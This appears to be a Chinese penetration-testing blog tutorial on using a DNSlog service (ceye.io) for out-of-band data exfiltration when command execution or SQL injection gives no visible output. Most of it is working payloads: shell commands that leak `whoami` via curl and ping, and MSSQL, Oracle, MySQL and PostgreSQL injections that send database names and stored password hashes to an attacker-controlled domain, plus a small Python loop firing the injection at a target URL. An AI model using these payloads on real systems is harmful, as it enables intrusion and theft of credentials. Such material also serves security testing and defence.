渗透测试小技巧之DNSlog

在渗透环境时,我们经常会遇到疑似命令执行还有些bool注入和延时注入,但是都没有回显。

命令执行我们可能会用各种各样的请求来判断是否存在命令执行,对于bool注入和延时注入这两种注入类型的缺点就是速度慢,效率低,一个是基于对错判断数据,一个是基于访问时间来判断数据,dnslog的出现就正好弥补了这样的缺陷。

0x00 原理

这里参考一篇paper ,一个大牛的详细解释:DNS in SQL Injection Attacks

简单说就是:DNSLog 用于监测 DNS 和 HTTP 访问记录,可通过HTTP请求,让目标主机主动
请求 DNSLog API 地址,有相应的解析记录,则可判定为存在相应的漏洞。

0x01 利用

首先给大家分享一个免费的dnslog平台(ps:要是有cloudeye激活码的可以忽略)。

平台会给每一个会员分一个二级域名,xxx.ceye.io

简单的来说,dnslog平台自己保留dns的日志信息,并对应每个会员一个二级域名,这样我们可以通过

ping test.xxxxx.ceye.io

这样的多级域名方式,把我们需要返回的信息链接到url中,然后分析日志,test部分就是我们得到的信息。

0x01.1 命令执行

在我们找到命令执行漏洞的时候,我们可以执行这样的命令判断

1
2
3
4
5
linux:
curl http://ip.port.domain.ceye.io/`whoami`
ping `whoami`.ip.port.domain.ceye.io
windows:
ping %USERNAME%.domain.ceye.io

这时候就可以去dnslog平台查看到信息

0x01.2 SQL注入

SQL Server
存储程序master..xp_dirtree()用于获取所有文件夹的列表和给定文件夹内部的子文件夹。

1
2
3
4
5
6
7
8
DECLARE @host varchar(1024);
注册一个名为@host的变量,类型为varchar。
SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';
获取db_name()然后转换成varchar类型,然后吧获取的db_name()返回值拼接到dnslog平台给我们的子域名里面,然后赋值给@host变量。
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
列远程主机的foobar$目录,由于是远程主机,所以会做一个dns解析,这样我们的dns平台就能得到日志了
http://xxxx.com.cn/?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--

Oracle
UTL_INADDR包用于互联网的寻址–诸如检索本地和远程主机的主机名和IP的地址

1
2
3
4
5
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

MySQL
MySQL的函数LOAD_FILE()读取文件内容并将其作为字符串返回:LOAD_FILE()

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user WHERE user='root' LIMIT 1),'.b182oj.ceye.io\\abc'));

PostgreSQL
PostgreSQL的声明COPY用于在文件系统的文件和表之间拷贝数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

写个脚本:

1
2
3
4
5
6
7
8
9
10
11
import urllib2
for i in range(50):
if i==0:
continue
url = '''http://xxxx.com.cn/?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--'''
url = url.replace("dbid=1","dbid="+str(i))
req = urllib2.Request(url)
print req.get_full_url()
print urllib2.urlopen(req).read()
大爷,赏个铜板呗!